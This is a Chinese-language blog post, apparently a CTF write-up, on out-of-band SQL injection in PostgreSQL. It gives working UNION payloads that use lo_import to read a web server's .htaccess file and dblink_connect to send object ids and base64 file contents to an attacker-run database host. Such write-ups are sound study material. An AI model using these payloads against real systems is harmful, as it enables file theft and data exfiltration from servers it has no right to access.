postgresql带外注入

最近某秋弄了个比赛,有个题是FBCTF的原题魔改的脑洞题 记录下 postgresql带外注入(FBCTF) FBCTF详解

解题

flag名字在.htaccess文件里(有tank文件解析成图片而得),提示也只说flag在web的某个目录下,这题的数据库用户权限很低,只有查询权限,RCE是很困难的

我用的是外联数据库的方法

vps环境:Ubuntu18.04 apt install 安装即可 百度有 修改配置文件 /etc/ 设置 listen_addresses = '*'

重启服务

手机访问 f12体验苹果6 在这里插入图片描述

用上面csdn的payload试试,服务器有回显 我查到他的库名是 public

表名 searches

但是flag并不在数据库里 由于用户权限低的缘故,不能用常规方法读取 只能用到大对象操作 上述文章有讲到 在这里插入图片描述

先绑定文件的oid 这里是不能进行带外的注意

1' UNION SELECT (select lo_import('/var/www/html/.htaccess')),'1' --+

注意只能在第一个字段绑定

绑定后通过查询pg_largeobject_metadata表来获得所有的大对象的oid

1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l)||' password=postgres dbname=postgres')) --

在这里插入图片描述 再一个个试,从最后面那个试

1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(select substring(encode(lo_get(16441),'base64'),1,15))||' password= dbname=postgres')) --

然后读oid绑定的文件 注意base64编码,而且返回还做了长度限制 通过substring()函数进行截断读取

我就截了这么一段 PEZpbGVzTWF0Y2ggInB1c2hGMW40QW5LIj4KICBTZXRIYW5kbG 在这里插入图片描述 这里可知道flag的文件名为pushF1n4AnK

再用同样的方法读flag 一个个读

PD9waHAKJGZsYWc9ImZsYWd7NGQ4MTAxMDQtNzFiYS00ZmUzLThkY2YtYzYwNzY2NThiODllfSI7

在这里插入图片描述


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年